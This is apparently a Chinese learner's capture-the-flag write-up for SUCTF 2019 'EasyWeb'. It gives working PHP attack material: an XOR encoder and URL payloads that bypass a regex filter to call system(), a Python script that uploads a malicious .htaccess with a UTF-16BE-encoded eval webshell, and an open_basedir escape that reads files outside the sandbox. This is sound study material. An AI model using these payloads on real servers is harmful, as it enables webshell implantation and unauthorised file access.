[SUCTF 2019]EasyWeb

mac2025-08-14  11

1. 正则绕过

这有一篇讲正则绕过的:正则绕过 因为题目限制了连字母都不能输入了,那么我们就可以用异或:就是让两个不可见字符,异或之后,就变成了我们想要的字符。很神奇,但是哪两个不可见字符,异或之后,就是我们想要的字符了?下面这个代码可以帮我们实现。

<?php $l = ""; $r = ""; $argv = str_split("_GET"); for($i=0;$i<count($argv);$i++) { for($j=0;$j<255;$j++) { $k = chr($j)^chr(255); \\dechex(255) = ff if($k == $argv[$i]){ if($j<16){ $l .= "%ff"; $r .= "%0" . dechex($j); continue; } $l .= "%ff"; $r .= "%" . dechex($j); continue; } } } echo "\{$l`$r\}"; ?>

但我不明白为什么,不能直接把“$_POST[‘a’];” 全都异或掉,这多省事儿了,但好像不行,而且好像还只能是GET型,我尝试了POST类型行不通。目前我就只知道它可以代替"_GET",然后配合${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&ff=phpinfo,可以执行一些函数。抛开这道题,我们还可以: http://127.0.0.1/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}("type index.php");&%ff=system。 这种思想,好像是来自一位叫p神的人,他是这么构造的,这样就可以执行任何函数了。

$a = (%9e ^ %ff).(%8c ^ %ff).(%8c ^ %ff).(%9a ^ %ff).(%8d ^ %ff).(%8b ^ %ff); \\assert $b = "_" . (%af ^ %ff).(%b0 ^ %ff).(%ac ^ %ff).(%ab ^ %ff);$c = $$b; \\$b = $_POST $a($c[360]);

2. 文件上传

在checkin里学的,上传.user.ini来绕过的方法,在这道题里,不管用了。因为好像必须去访问PHP文件,才会去检测user.ini的设置,也好像必须在此目录下有PHP文件,不需要访问。不管哪一个,这道题都不满足。所以我们上传.htaccess文件,但是php的版本到七点儿多了,那么<script>就不能用了,而且又过滤了“<?”,那么我们就用utf-16be来绕过 ,学到了。大佬写的脚本,学习一下:

SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n" def generate_php_file(filename, script): phpfile = open(filename, 'wb') phpfile.write(script.encode('utf-16be')) phpfile.write(SIZE_HEADER) phpfile.close() def generate_htacess(): htaccess = open('.htaccess', 'wb') htaccess.write(SIZE_HEADER) htaccess.write(b'AddType application/x-httpd-php .lethe\n') htaccess.write(b'php_value zend.multibyte 1\n') htaccess.write(b'php_value zend.detect_unicode 1\n') htaccess.write(b'php_value display_errors 1\n') htaccess.close() generate_htacess() generate_php_file("shell.lethe", "<?php eval($_GET['cmd']); die(); ?>")

3. open_dasedir绕过

这样我们就成功的上传的木马,并别可以解析。但是我们尝试回去跟目录下的所有文件时,发现它做了open_basedir的限制 我们在phpinfo里可以看见只可以访问网站根目录和/tmp目录,那么我们就要尝试绕过open_basedir:

<?php ini_set("open_basedir","/tmp/:/var/www/html/"); mkdir("sub"); chdir("sub"); ini_set("open_basedir",".."); chdir(".."); chdir(".."); chdir(".."); chdir(".."); chdir(".."); ini_set("open_basedir","/"); var_dump(file_get_contents("/THis_Is_tHe_F14g")); ?>

深入到/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/ 共五层,那么久写五个chdir(’…’);就可以了。原理我目前的能力还看不懂。 open_basedir绕过

https://blog.csdn.net/qq_42181428/article/details/99741920 这是别人写的题解,感觉很不错,推荐一下。

最新回复(0)